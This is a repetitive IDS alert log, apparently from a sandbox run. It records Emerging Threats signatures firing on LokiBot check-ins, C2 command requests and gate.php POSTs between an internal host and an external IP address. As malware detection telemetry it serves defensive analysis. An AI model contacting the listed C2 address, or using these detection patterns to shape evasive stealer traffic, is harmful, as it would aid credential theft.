12/21/20-08:34:40.489842	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49301	80	192.168.2.22	185.193.143.118
12/21/20-08:34:40.489842	TCP	2025381	ET TROJAN LokiBot Checkin	49301	80	192.168.2.22	185.193.143.118
12/21/20-08:34:40.489842	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49301	80	192.168.2.22	185.193.143.118
12/21/20-08:34:40.489842	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49301	80	192.168.2.22	185.193.143.118
12/21/20-08:34:40.690090	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49301	185.193.143.118	192.168.2.22
12/21/20-08:34:40.965176	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49302	80	192.168.2.22	185.193.143.118
12/21/20-08:34:40.965176	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49302	80	192.168.2.22	185.193.143.118
12/21/20-08:34:40.965176	TCP	2025381	ET TROJAN LokiBot Checkin	49302	80	192.168.2.22	185.193.143.118
12/21/20-08:34:40.965176	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49302	80	192.168.2.22	185.193.143.118
12/21/20-08:34:40.965176	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49302	80	192.168.2.22	185.193.143.118
12/21/20-08:34:41.148495	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49302	185.193.143.118	192.168.2.22
12/21/20-08:34:41.423697	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49303	80	192.168.2.22	185.193.143.118
12/21/20-08:34:41.423697	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49303	80	192.168.2.22	185.193.143.118
12/21/20-08:34:41.423697	TCP	2025381	ET TROJAN LokiBot Checkin	49303	80	192.168.2.22	185.193.143.118
12/21/20-08:34:41.423697	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49303	80	192.168.2.22	185.193.143.118
12/21/20-08:34:41.423697	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49303	80	192.168.2.22	185.193.143.118
12/21/20-08:34:41.618470	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49303	185.193.143.118	192.168.2.22
12/21/20-08:34:41.877857	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49304	80	192.168.2.22	185.193.143.118
12/21/20-08:34:41.877857	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49304	80	192.168.2.22	185.193.143.118
12/21/20-08:34:41.877857	TCP	2025381	ET TROJAN LokiBot Checkin	49304	80	192.168.2.22	185.193.143.118
12/21/20-08:34:41.877857	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49304	80	192.168.2.22	185.193.143.118
12/21/20-08:34:41.877857	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49304	80	192.168.2.22	185.193.143.118
12/21/20-08:34:42.063981	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49304	185.193.143.118	192.168.2.22
12/21/20-08:34:42.325852	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49305	80	192.168.2.22	185.193.143.118
12/21/20-08:34:42.325852	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49305	80	192.168.2.22	185.193.143.118
12/21/20-08:34:42.325852	TCP	2025381	ET TROJAN LokiBot Checkin	49305	80	192.168.2.22	185.193.143.118
12/21/20-08:34:42.325852	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49305	80	192.168.2.22	185.193.143.118
12/21/20-08:34:42.325852	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49305	80	192.168.2.22	185.193.143.118
12/21/20-08:34:42.520302	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49305	185.193.143.118	192.168.2.22
12/21/20-08:34:42.778146	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49306	80	192.168.2.22	185.193.143.118
12/21/20-08:34:42.778146	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49306	80	192.168.2.22	185.193.143.118
12/21/20-08:34:42.778146	TCP	2025381	ET TROJAN LokiBot Checkin	49306	80	192.168.2.22	185.193.143.118
12/21/20-08:34:42.778146	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49306	80	192.168.2.22	185.193.143.118
12/21/20-08:34:42.778146	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49306	80	192.168.2.22	185.193.143.118
12/21/20-08:34:42.961060	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49306	185.193.143.118	192.168.2.22
12/21/20-08:34:43.216171	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49307	80	192.168.2.22	185.193.143.118
12/21/20-08:34:43.216171	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49307	80	192.168.2.22	185.193.143.118
12/21/20-08:34:43.216171	TCP	2025381	ET TROJAN LokiBot Checkin	49307	80	192.168.2.22	185.193.143.118
12/21/20-08:34:43.216171	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49307	80	192.168.2.22	185.193.143.118
12/21/20-08:34:43.216171	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49307	80	192.168.2.22	185.193.143.118
12/21/20-08:34:43.400025	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49307	185.193.143.118	192.168.2.22
12/21/20-08:34:43.656410	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49308	80	192.168.2.22	185.193.143.118
12/21/20-08:34:43.656410	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49308	80	192.168.2.22	185.193.143.118
12/21/20-08:34:43.656410	TCP	2025381	ET TROJAN LokiBot Checkin	49308	80	192.168.2.22	185.193.143.118
12/21/20-08:34:43.656410	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49308	80	192.168.2.22	185.193.143.118
12/21/20-08:34:43.656410	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49308	80	192.168.2.22	185.193.143.118
12/21/20-08:34:43.853422	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49308	185.193.143.118	192.168.2.22
12/21/20-08:34:44.106562	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49309	80	192.168.2.22	185.193.143.118
12/21/20-08:34:44.106562	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49309	80	192.168.2.22	185.193.143.118
12/21/20-08:34:44.106562	TCP	2025381	ET TROJAN LokiBot Checkin	49309	80	192.168.2.22	185.193.143.118
12/21/20-08:34:44.106562	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49309	80	192.168.2.22	185.193.143.118
12/21/20-08:34:44.106562	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49309	80	192.168.2.22	185.193.143.118
12/21/20-08:34:44.292245	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49309	185.193.143.118	192.168.2.22
12/21/20-08:34:44.544426	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49310	80	192.168.2.22	185.193.143.118
12/21/20-08:34:44.544426	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49310	80	192.168.2.22	185.193.143.118
12/21/20-08:34:44.544426	TCP	2025381	ET TROJAN LokiBot Checkin	49310	80	192.168.2.22	185.193.143.118
12/21/20-08:34:44.544426	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49310	80	192.168.2.22	185.193.143.118
12/21/20-08:34:44.544426	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49310	80	192.168.2.22	185.193.143.118
12/21/20-08:34:44.748707	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49310	185.193.143.118	192.168.2.22
12/21/20-08:34:45.030307	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49311	80	192.168.2.22	185.193.143.118
12/21/20-08:34:45.030307	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49311	80	192.168.2.22	185.193.143.118
12/21/20-08:34:45.030307	TCP	2025381	ET TROJAN LokiBot Checkin	49311	80	192.168.2.22	185.193.143.118
12/21/20-08:34:45.030307	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49311	80	192.168.2.22	185.193.143.118
12/21/20-08:34:45.030307	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49311	80	192.168.2.22	185.193.143.118
12/21/20-08:34:45.235508	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49311	185.193.143.118	192.168.2.22
12/21/20-08:34:45.493159	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49312	80	192.168.2.22	185.193.143.118
12/21/20-08:34:45.493159	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49312	80	192.168.2.22	185.193.143.118
12/21/20-08:34:45.493159	TCP	2025381	ET TROJAN LokiBot Checkin	49312	80	192.168.2.22	185.193.143.118
12/21/20-08:34:45.493159	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49312	80	192.168.2.22	185.193.143.118
12/21/20-08:34:45.493159	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49312	80	192.168.2.22	185.193.143.118
12/21/20-08:34:45.681647	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49312	185.193.143.118	192.168.2.22
12/21/20-08:34:45.965226	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49313	80	192.168.2.22	185.193.143.118
12/21/20-08:34:45.965226	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49313	80	192.168.2.22	185.193.143.118
12/21/20-08:34:45.965226	TCP	2025381	ET TROJAN LokiBot Checkin	49313	80	192.168.2.22	185.193.143.118
12/21/20-08:34:45.965226	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49313	80	192.168.2.22	185.193.143.118
12/21/20-08:34:45.965226	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49313	80	192.168.2.22	185.193.143.118
12/21/20-08:34:46.144673	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49313	185.193.143.118	192.168.2.22
12/21/20-08:34:46.385293	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49314	80	192.168.2.22	185.193.143.118
12/21/20-08:34:46.385293	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49314	80	192.168.2.22	185.193.143.118
12/21/20-08:34:46.385293	TCP	2025381	ET TROJAN LokiBot Checkin	49314	80	192.168.2.22	185.193.143.118
12/21/20-08:34:46.385293	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49314	80	192.168.2.22	185.193.143.118
12/21/20-08:34:46.385293	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49314	80	192.168.2.22	185.193.143.118
12/21/20-08:34:46.572973	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49314	185.193.143.118	192.168.2.22
12/21/20-08:34:46.831908	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49315	80	192.168.2.22	185.193.143.118
12/21/20-08:34:46.831908	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49315	80	192.168.2.22	185.193.143.118
12/21/20-08:34:46.831908	TCP	2025381	ET TROJAN LokiBot Checkin	49315	80	192.168.2.22	185.193.143.118
12/21/20-08:34:46.831908	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49315	80	192.168.2.22	185.193.143.118
12/21/20-08:34:46.831908	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49315	80	192.168.2.22	185.193.143.118
12/21/20-08:34:47.024399	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49315	185.193.143.118	192.168.2.22
12/21/20-08:34:47.278368	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49316	80	192.168.2.22	185.193.143.118
12/21/20-08:34:47.278368	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49316	80	192.168.2.22	185.193.143.118
12/21/20-08:34:47.278368	TCP	2025381	ET TROJAN LokiBot Checkin	49316	80	192.168.2.22	185.193.143.118
12/21/20-08:34:47.278368	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49316	80	192.168.2.22	185.193.143.118
12/21/20-08:34:47.278368	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49316	80	192.168.2.22	185.193.143.118
12/21/20-08:34:47.471688	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49316	185.193.143.118	192.168.2.22
12/21/20-08:34:49.748142	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49317	80	192.168.2.22	185.193.143.118
12/21/20-08:34:49.748142	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49317	80	192.168.2.22	185.193.143.118
12/21/20-08:34:49.748142	TCP	2025381	ET TROJAN LokiBot Checkin	49317	80	192.168.2.22	185.193.143.118
12/21/20-08:34:49.748142	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49317	80	192.168.2.22	185.193.143.118
12/21/20-08:34:49.748142	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49317	80	192.168.2.22	185.193.143.118
12/21/20-08:34:49.936609	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49317	185.193.143.118	192.168.2.22
12/21/20-08:34:50.191619	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49318	80	192.168.2.22	185.193.143.118
12/21/20-08:34:50.191619	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49318	80	192.168.2.22	185.193.143.118
12/21/20-08:34:50.191619	TCP	2025381	ET TROJAN LokiBot Checkin	49318	80	192.168.2.22	185.193.143.118
12/21/20-08:34:50.191619	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49318	80	192.168.2.22	185.193.143.118
12/21/20-08:34:50.191619	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49318	80	192.168.2.22	185.193.143.118
12/21/20-08:34:50.381012	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49318	185.193.143.118	192.168.2.22
12/21/20-08:34:50.644380	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49319	80	192.168.2.22	185.193.143.118
12/21/20-08:34:50.644380	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49319	80	192.168.2.22	185.193.143.118
12/21/20-08:34:50.644380	TCP	2025381	ET TROJAN LokiBot Checkin	49319	80	192.168.2.22	185.193.143.118
12/21/20-08:34:50.644380	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49319	80	192.168.2.22	185.193.143.118
12/21/20-08:34:50.644380	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49319	80	192.168.2.22	185.193.143.118
12/21/20-08:34:50.836068	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49319	185.193.143.118	192.168.2.22
12/21/20-08:34:51.092145	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49320	80	192.168.2.22	185.193.143.118
12/21/20-08:34:51.092145	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49320	80	192.168.2.22	185.193.143.118
12/21/20-08:34:51.092145	TCP	2025381	ET TROJAN LokiBot Checkin	49320	80	192.168.2.22	185.193.143.118
12/21/20-08:34:51.092145	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49320	80	192.168.2.22	185.193.143.118
12/21/20-08:34:51.092145	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49320	80	192.168.2.22	185.193.143.118
12/21/20-08:34:51.279040	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49320	185.193.143.118	192.168.2.22
12/21/20-08:34:51.642592	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49321	80	192.168.2.22	185.193.143.118
12/21/20-08:34:51.642592	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49321	80	192.168.2.22	185.193.143.118
12/21/20-08:34:51.642592	TCP	2025381	ET TROJAN LokiBot Checkin	49321	80	192.168.2.22	185.193.143.118
12/21/20-08:34:51.642592	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49321	80	192.168.2.22	185.193.143.118
12/21/20-08:34:51.642592	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49321	80	192.168.2.22	185.193.143.118
12/21/20-08:34:51.822869	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49321	185.193.143.118	192.168.2.22
12/21/20-08:34:52.076004	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49322	80	192.168.2.22	185.193.143.118
12/21/20-08:34:52.076004	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49322	80	192.168.2.22	185.193.143.118
12/21/20-08:34:52.076004	TCP	2025381	ET TROJAN LokiBot Checkin	49322	80	192.168.2.22	185.193.143.118
12/21/20-08:34:52.076004	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49322	80	192.168.2.22	185.193.143.118
12/21/20-08:34:52.076004	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49322	80	192.168.2.22	185.193.143.118
12/21/20-08:34:52.725966	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49322	185.193.143.118	192.168.2.22
12/21/20-08:34:53.324671	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49323	80	192.168.2.22	185.193.143.118
12/21/20-08:34:53.324671	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49323	80	192.168.2.22	185.193.143.118
12/21/20-08:34:53.324671	TCP	2025381	ET TROJAN LokiBot Checkin	49323	80	192.168.2.22	185.193.143.118
12/21/20-08:34:53.324671	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49323	80	192.168.2.22	185.193.143.118
12/21/20-08:34:53.324671	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49323	80	192.168.2.22	185.193.143.118
12/21/20-08:34:53.510987	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49323	185.193.143.118	192.168.2.22
12/21/20-08:34:53.771213	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49324	80	192.168.2.22	185.193.143.118
12/21/20-08:34:53.771213	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49324	80	192.168.2.22	185.193.143.118
12/21/20-08:34:53.771213	TCP	2025381	ET TROJAN LokiBot Checkin	49324	80	192.168.2.22	185.193.143.118
12/21/20-08:34:53.771213	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49324	80	192.168.2.22	185.193.143.118
12/21/20-08:34:53.771213	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49324	80	192.168.2.22	185.193.143.118
12/21/20-08:34:53.966468	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49324	185.193.143.118	192.168.2.22
12/21/20-08:34:54.225843	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49325	80	192.168.2.22	185.193.143.118
12/21/20-08:34:54.225843	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49325	80	192.168.2.22	185.193.143.118
12/21/20-08:34:54.225843	TCP	2025381	ET TROJAN LokiBot Checkin	49325	80	192.168.2.22	185.193.143.118
12/21/20-08:34:54.225843	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49325	80	192.168.2.22	185.193.143.118
12/21/20-08:34:54.225843	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49325	80	192.168.2.22	185.193.143.118
12/21/20-08:34:54.429844	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49325	185.193.143.118	192.168.2.22
12/21/20-08:34:54.695089	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49326	80	192.168.2.22	185.193.143.118
12/21/20-08:34:54.695089	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49326	80	192.168.2.22	185.193.143.118
12/21/20-08:34:54.695089	TCP	2025381	ET TROJAN LokiBot Checkin	49326	80	192.168.2.22	185.193.143.118
12/21/20-08:34:54.695089	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49326	80	192.168.2.22	185.193.143.118
12/21/20-08:34:54.695089	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49326	80	192.168.2.22	185.193.143.118
12/21/20-08:34:54.893503	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49326	185.193.143.118	192.168.2.22
12/21/20-08:34:55.167333	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49327	80	192.168.2.22	185.193.143.118
12/21/20-08:34:55.167333	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49327	80	192.168.2.22	185.193.143.118
12/21/20-08:34:55.167333	TCP	2025381	ET TROJAN LokiBot Checkin	49327	80	192.168.2.22	185.193.143.118
12/21/20-08:34:55.167333	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49327	80	192.168.2.22	185.193.143.118
12/21/20-08:34:55.167333	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49327	80	192.168.2.22	185.193.143.118
12/21/20-08:34:55.360511	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49327	185.193.143.118	192.168.2.22
12/21/20-08:34:55.621686	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49328	80	192.168.2.22	185.193.143.118
12/21/20-08:34:55.621686	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49328	80	192.168.2.22	185.193.143.118
12/21/20-08:34:55.621686	TCP	2025381	ET TROJAN LokiBot Checkin	49328	80	192.168.2.22	185.193.143.118
12/21/20-08:34:55.621686	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49328	80	192.168.2.22	185.193.143.118
12/21/20-08:34:55.621686	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49328	80	192.168.2.22	185.193.143.118
12/21/20-08:34:55.806793	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49328	185.193.143.118	192.168.2.22
12/21/20-08:34:56.079166	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49329	80	192.168.2.22	185.193.143.118
12/21/20-08:34:56.079166	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49329	80	192.168.2.22	185.193.143.118
12/21/20-08:34:56.079166	TCP	2025381	ET TROJAN LokiBot Checkin	49329	80	192.168.2.22	185.193.143.118
12/21/20-08:34:56.079166	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49329	80	192.168.2.22	185.193.143.118
12/21/20-08:34:56.079166	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49329	80	192.168.2.22	185.193.143.118
12/21/20-08:34:56.264152	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49329	185.193.143.118	192.168.2.22
12/21/20-08:34:56.523450	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49330	80	192.168.2.22	185.193.143.118
12/21/20-08:34:56.523450	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49330	80	192.168.2.22	185.193.143.118
12/21/20-08:34:56.523450	TCP	2025381	ET TROJAN LokiBot Checkin	49330	80	192.168.2.22	185.193.143.118
12/21/20-08:34:56.523450	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49330	80	192.168.2.22	185.193.143.118
12/21/20-08:34:56.523450	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49330	80	192.168.2.22	185.193.143.118
12/21/20-08:34:56.707082	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49330	185.193.143.118	192.168.2.22
12/21/20-08:34:56.986700	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49331	80	192.168.2.22	185.193.143.118
12/21/20-08:34:56.986700	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49331	80	192.168.2.22	185.193.143.118
12/21/20-08:34:56.986700	TCP	2025381	ET TROJAN LokiBot Checkin	49331	80	192.168.2.22	185.193.143.118
12/21/20-08:34:56.986700	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49331	80	192.168.2.22	185.193.143.118
12/21/20-08:34:56.986700	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49331	80	192.168.2.22	185.193.143.118
12/21/20-08:34:57.170484	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49331	185.193.143.118	192.168.2.22
12/21/20-08:34:57.440233	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49332	80	192.168.2.22	185.193.143.118
12/21/20-08:34:57.440233	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49332	80	192.168.2.22	185.193.143.118
12/21/20-08:34:57.440233	TCP	2025381	ET TROJAN LokiBot Checkin	49332	80	192.168.2.22	185.193.143.118
12/21/20-08:34:57.440233	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49332	80	192.168.2.22	185.193.143.118
12/21/20-08:34:57.440233	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49332	80	192.168.2.22	185.193.143.118
12/21/20-08:34:57.637569	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49332	185.193.143.118	192.168.2.22
12/21/20-08:34:57.901392	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49333	80	192.168.2.22	185.193.143.118
12/21/20-08:34:57.901392	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49333	80	192.168.2.22	185.193.143.118
12/21/20-08:34:57.901392	TCP	2025381	ET TROJAN LokiBot Checkin	49333	80	192.168.2.22	185.193.143.118
12/21/20-08:34:57.901392	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49333	80	192.168.2.22	185.193.143.118
12/21/20-08:34:57.901392	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49333	80	192.168.2.22	185.193.143.118
12/21/20-08:34:58.109520	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49333	185.193.143.118	192.168.2.22
12/21/20-08:34:58.356886	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49334	80	192.168.2.22	185.193.143.118
12/21/20-08:34:58.356886	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49334	80	192.168.2.22	185.193.143.118
12/21/20-08:34:58.356886	TCP	2025381	ET TROJAN LokiBot Checkin	49334	80	192.168.2.22	185.193.143.118
12/21/20-08:34:58.356886	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49334	80	192.168.2.22	185.193.143.118
12/21/20-08:34:58.356886	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49334	80	192.168.2.22	185.193.143.118
12/21/20-08:34:58.550989	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49334	185.193.143.118	192.168.2.22
12/21/20-08:34:58.807713	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49335	80	192.168.2.22	185.193.143.118
12/21/20-08:34:58.807713	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49335	80	192.168.2.22	185.193.143.118
12/21/20-08:34:58.807713	TCP	2025381	ET TROJAN LokiBot Checkin	49335	80	192.168.2.22	185.193.143.118
12/21/20-08:34:58.807713	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49335	80	192.168.2.22	185.193.143.118
12/21/20-08:34:58.807713	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49335	80	192.168.2.22	185.193.143.118
12/21/20-08:34:58.996237	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49335	185.193.143.118	192.168.2.22
12/21/20-08:34:59.259529	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49336	80	192.168.2.22	185.193.143.118
12/21/20-08:34:59.259529	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49336	80	192.168.2.22	185.193.143.118
12/21/20-08:34:59.259529	TCP	2025381	ET TROJAN LokiBot Checkin	49336	80	192.168.2.22	185.193.143.118
12/21/20-08:34:59.259529	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49336	80	192.168.2.22	185.193.143.118
12/21/20-08:34:59.259529	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49336	80	192.168.2.22	185.193.143.118
12/21/20-08:34:59.445801	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49336	185.193.143.118	192.168.2.22
12/21/20-08:34:59.709544	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49337	80	192.168.2.22	185.193.143.118
12/21/20-08:34:59.709544	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49337	80	192.168.2.22	185.193.143.118
12/21/20-08:34:59.709544	TCP	2025381	ET TROJAN LokiBot Checkin	49337	80	192.168.2.22	185.193.143.118
12/21/20-08:34:59.709544	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49337	80	192.168.2.22	185.193.143.118
